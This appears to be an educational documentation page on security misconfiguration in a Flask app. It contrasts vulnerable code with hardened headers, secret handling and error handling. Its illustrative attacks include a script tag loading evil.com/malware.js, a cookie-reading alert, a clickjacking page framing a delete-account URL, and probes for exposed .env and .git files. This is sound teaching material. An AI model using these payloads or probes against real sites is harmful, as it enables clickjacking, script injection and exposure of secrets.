Security Misconfiguration

Learn more about Mintlify

Enter your email to receive updates about new features and product releases.

Overview
Vulnerable Configurations
Security Header Vulnerabilities
Error Information Disclosure
Secure Implementation
Security Configuration Checklist
Testing Security Configuration
Production Deployment Checklist
Compliance & Standards
References

Educational Purpose Only - Security misconfigurations can expose sensitive information and create attack vectors. Always follow security best practices in production.

Overview

Security misconfiguration occurs when security settings are not defined, implemented, or maintained properly. In this demo, the vulnerable version lacks critical security headers, uses a hardcoded secret key, potentially runs with debug mode enabled, and misses other important security configurations that protect against various attacks.

Severity Rating

MEDIUM to HIGH - CVSS Score: 7.0/10CWE Reference: CWE-16: Configuration, CWE-209: Information Exposure Through Error Messages

Vulnerable Configurations

The vulnerable version has multiple configuration issues:

app = Flask(__name__)
app.secret_key = 'clave_super_secreta_123'  # VULNERABLE

# Issues:
# - Hardcoded in source code
# - Committed to version control
# - Same across all environments
# - Weak/guessable value

Security Header Vulnerabilities

1. Missing Content-Security-Policy (CSP)

Risk: Allows XSS attacks and malicious script executionMissing Header:

Content-Security-Policy: default-src 'self'

Impact Without CSP:

<!-- Attacker can inject and execute scripts -->
<script src="https://evil.com/malware.js"></script>
<script>alert(document.cookie)</script>

<!-- Can load resources from anywhere -->
<iframe src="https://phishing.com"></iframe>
<img src="https://tracker.com/pixel.gif">

Allowed Attacks:

Inline script execution
External script loading
eval() and similar functions
Inline event handlers (onclick, onerror)

2. Missing X-Frame-Options

Risk: Enables clickjacking attacksMissing Header:

X-Frame-Options: DENY

Clickjacking Attack:

<!-- Attacker's page -->
<html>
<head>
    <style>
        #target-site {
            position: absolute;
            opacity: 0.0;  /* Invisible */
            z-index: 2;
        }
        #fake-button {
            position: absolute;
            z-index: 1;
        }
    </style>
</head>
<body>
    <!-- Invisible iframe with vulnerable site -->
    <iframe id="target-site" 
            src="https://auth-vulnerable.onrender.com/delete-account">
    </iframe>
    
    <!-- Visible fake button underneath -->
    <button id="fake-button">Click for FREE PRIZE!</button>
</body>
</html>

Result: User thinks they’re clicking “FREE PRIZE” but actually clicking “Delete Account”

3. Missing X-Content-Type-Options

Risk: Allows MIME type sniffing attacksMissing Header:

X-Content-Type-Options: nosniff

Attack Scenario:

# Vulnerable: Serving user-uploaded file
@app.route('/uploads/<filename>')
def serve_upload(filename):
    return send_file(f'uploads/{filename}')

Exploitation:

Attacker uploads file named image.jpg containing JavaScript:
```
alert('XSS via MIME sniffing')
```
Victim visits: /uploads/image.jpg
Without nosniff, browser detects JavaScript and executes it
With nosniff, browser respects Content-Type header and treats as image

4. Missing Strict-Transport-Security (HSTS)

Risk: Allows man-in-the-middle attacks via SSL strippingMissing Header:

Strict-Transport-Security: max-age=31536000; includeSubDomains

Attack - SSL Stripping:

User types auth-vulnerable.onrender.com (no https://)
Browser makes HTTP request
Attacker intercepts and proxies connection
Attacker downgrades to HTTP
User sees HTTP site, no warning
Credentials transmitted in plaintext

With HSTS: Browser automatically upgrades to HTTPS, preventing interception

5. Missing X-XSS-Protection

Risk: Disables browser’s built-in XSS filterMissing Header:

X-XSS-Protection: 1; mode=block

Note: Modern browsers rely on CSP instead, but this provides defense-in-depth for older browsers

6. Missing Referrer-Policy

Risk: Leaks sensitive information in Referer headerMissing Header:

Referrer-Policy: strict-origin-when-cross-origin

Information Leak:

User on: https://auth-vulnerable.onrender.com/dashboard?user_id=123&token=secret
Clicks link to external site

External site receives:
Referer: https://auth-vulnerable.onrender.com/dashboard?user_id=123&token=secret

# Leaked: user_id, token, full URL structure

Error Information Disclosure

Vulnerable: SQL Errors
Vulnerable: Stack Traces
Vulnerable: Version Disclosure

# vulnerable/app.py:42-44
except sqlite3.Error as e:
    flash(f'Error SQL: {str(e)}', 'danger')
    print(f"ERROR SQL: {e}")

What Attackers Learn:

Error SQL: near "WHERE": syntax error
→ Reveals: Database is SQLite
→ Reveals: Query structure
→ Suggests: SQL injection possible

Error SQL: no such table: users
→ Reveals: Database schema
→ Confirms: Table names

Error SQL: UNIQUE constraint failed: users.username
→ Reveals: Username exists
→ Enables: User enumeration

If debug mode is accidentally enabled:

app.run(debug=True)  # NEVER in production!

Exposed Information:

Traceback (most recent call last):
  File "/home/user/vulnerable/app.py", line 26, in login
    cursor.execute(query)
  File "/usr/lib/python3.9/sqlite3/dbapi2.py", line 116, in execute
    return self._execute(sql, params)
sqlite3.OperationalError: near "'": syntax error

# Reveals:
# - Full file paths (/home/user/vulnerable/app.py)
# - Python version (3.9)
# - Framework (Flask)
# - Line numbers (26)
# - Variable names
# - Library versions

HTTP/1.1 200 OK
Server: Werkzeug/2.3.7 Python/3.9.18
X-Powered-By: Flask

What Attackers Do:

Note exact versions
Search CVE database for known vulnerabilities
Use version-specific exploits

Example:

# Attacker research
searchsploit Werkzeug 2.3.7
# Finds: CVE-2023-XXXXX - Remote Code Execution

Secure Implementation

The secure version implements comprehensive security headers and configurations:

from dotenv import load_dotenv
import os

load_dotenv()

app = Flask(__name__)
# SECURE: Secret from environment variable
app.secret_key = os.getenv('SECRET_KEY')

if not app.secret_key:
    raise ValueError("SECRET_KEY environment variable not set!")

Security Configuration Checklist

Secret Management

Generate Secure Secret
Store in Environment
Load in Application

import secrets

# Generate cryptographically secure key
secret_key = secrets.token_hex(32)
print(f"SECRET_KEY={secret_key}")

# .env file (add to .gitignore)
SECRET_KEY=your_generated_key_here
DATABASE_URL=postgresql://user:pass@host/db
API_KEY=your_api_key

from dotenv import load_dotenv
import os

load_dotenv()

# Validate required env vars
required_env_vars = ['SECRET_KEY', 'DATABASE_URL']
for var in required_env_vars:
    if not os.getenv(var):
        raise ValueError(f"{var} not set")

Security Headers

Complete Header Configuration:

@app.after_request
def security_headers(response):
    headers = {
        # Prevent MIME sniffing
        'X-Content-Type-Options': 'nosniff',
        
        # Clickjacking protection
        'X-Frame-Options': 'DENY',
        
        # XSS protection (legacy)
        'X-XSS-Protection': '1; mode=block',
        
        # Force HTTPS (1 year)
        'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload',
        
        # Content Security Policy
        'Content-Security-Policy': (
            "default-src 'self'; "
            "script-src 'self'; "
            "style-src 'self' 'unsafe-inline'; "
            "img-src 'self' data: https:; "
            "font-src 'self'; "
            "connect-src 'self'; "
            "frame-ancestors 'none'; "
            "base-uri 'self'; "
            "form-action 'self'"
        ),
        
        # Referrer control
        'Referrer-Policy': 'strict-origin-when-cross-origin',
        
        # Permissions policy
        'Permissions-Policy': (
            'geolocation=(), '
            'microphone=(), '
            'camera=(), '
            'payment=(), '
            'usb=()'
        ),
        
        # Cache control for sensitive pages
        'Cache-Control': 'no-store, no-cache, must-revalidate, private',
        'Pragma': 'no-cache',
        'Expires': '0'
    }
    
    for header, value in headers.items():
        response.headers[header] = value
    
    return response

Error Handling

import logging
from flask import jsonify

# Configure logging
logging.basicConfig(
    filename='app.log',
    level=logging.ERROR,
    format='%(asctime)s %(levelname)s: %(message)s'
)

# Custom error handlers
@app.errorhandler(404)
def not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def internal_error(error):
    # Log the actual error
    logging.error(f'Server Error: {error}')
    
    # Show generic message
    return render_template('500.html'), 500

@app.errorhandler(Exception)
def handle_exception(e):
    # Log full traceback
    logging.exception("Unhandled exception")
    
    # Return generic error
    if request.path.startswith('/api/'):
        return jsonify(error="Internal server error"), 500
    return render_template('500.html'), 500

Debug Mode Protection

import os

# Never allow debug in production
is_production = os.getenv('FLASK_ENV') == 'production'

if is_production and app.debug:
    raise ValueError("Debug mode cannot be enabled in production!")

# Additional safeguards
if __name__ == '__main__':
    # Only run dev server in development
    if is_production:
        raise ValueError("Use production WSGI server (gunicorn, uwsgi)")
    
    app.run(
        debug=(not is_production),
        host='127.0.0.1' if not is_production else '0.0.0.0'
    )

Rate Limiting

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="redis://localhost:6379"
)

# Apply to login endpoint
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    # ...

Testing Security Configuration

Security Headers
SSL/TLS Configuration
Information Disclosure
Automated Scanning

# Test with curl
curl -I https://auth-secure.onrender.com

# Should see:
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY
# Strict-Transport-Security: max-age=31536000
# Content-Security-Policy: default-src 'self'
# etc.

Online Tools:

SecurityHeaders.com
Mozilla Observatory
Results show letter grade (A+, A, B, etc.)

# Test SSL configuration
sslyze --regular auth-secure.onrender.com

# Or use online tool
# https://www.ssllabs.com/ssltest/

Check for:

TLS 1.2+ only
Strong cipher suites
HSTS enabled
Certificate validity

import requests

def check_info_disclosure(url):
    issues = []
    
    # Check for version disclosure
    r = requests.get(url)
    if 'Server' in r.headers:
        if any(v in r.headers['Server'] for v in ['Werkzeug', 'Python', 'Flask']):
            issues.append(f"Version disclosure: {r.headers['Server']}")
    
    # Check error pages
    r = requests.get(f"{url}/nonexistent")
    if 'Werkzeug' in r.text or 'Traceback' in r.text:
        issues.append("Debug information in 404 page")
    
    # Check for .git exposure
    r = requests.get(f"{url}/.git/config")
    if r.status_code == 200:
        issues.append(".git directory exposed!")
    
    # Check for common files
    for file in ['.env', 'config.py', '.DS_Store', 'web.config']:
        r = requests.get(f"{url}/{file}")
        if r.status_code == 200:
            issues.append(f"Sensitive file exposed: {file}")
    
    return issues

# OWASP ZAP
zap-cli quick-scan --self-contained \
  --start-options '-config api.disablekey=true' \
  https://auth-vulnerable.onrender.com

# Nikto web scanner
nikto -h https://auth-vulnerable.onrender.com

# Nmap with scripts
nmap -p 443 --script ssl-enum-ciphers \
  auth-vulnerable.onrender.com

Production Deployment Checklist

Compliance & Standards

OWASP Top 10

A05:2021 – Security MisconfigurationRanked #5 most critical web application security riskIncludes:

Missing security hardening
Unnecessary features enabled
Default accounts/passwords
Error handling reveals stack traces
Outdated software

PCI-DSS

Requirement 6.5: Secure developmentRequirement 6.6: Web application firewall or code reviewRequirement 10: Log and monitor all access

NIST Cybersecurity Framework

PR.DS-1: Data-at-rest is protectedPR.DS-2: Data-in-transit is protectedDE.CM-1: Network monitored for anomalies

CIS Controls

Control 3: Data ProtectionControl 14: Security Awareness TrainingControl 18: Application Software Security

References

Next Steps

Build docs developers (and LLMs) love

Get started for free Talk to us

Get Started

Vulnerabilities

Security Best Practices

Lab Setup

Overview

Severity Rating

Vulnerable Configurations

Security Header Vulnerabilities

Error Information Disclosure

Secure Implementation

Security Configuration Checklist

Testing Security Configuration

Production Deployment Checklist

Compliance & Standards

OWASP Top 10

PCI-DSS

NIST Cybersecurity Framework

CIS Controls

References

Next Steps

Build docs developers (and LLMs) love

Get Started

Vulnerabilities

Security Best Practices

Lab Setup

​Overview

Severity Rating

​Vulnerable Configurations

​Security Header Vulnerabilities

​Error Information Disclosure

​Secure Implementation

​Security Configuration Checklist

​Testing Security Configuration

​Production Deployment Checklist

​Compliance & Standards

OWASP Top 10

PCI-DSS

NIST Cybersecurity Framework

CIS Controls

​References

Next Steps

Build docs developers (and LLMs) love

Overview

Vulnerable Configurations

Security Header Vulnerabilities

Error Information Disclosure

Secure Implementation

Security Configuration Checklist

Testing Security Configuration

Production Deployment Checklist

Compliance & Standards

References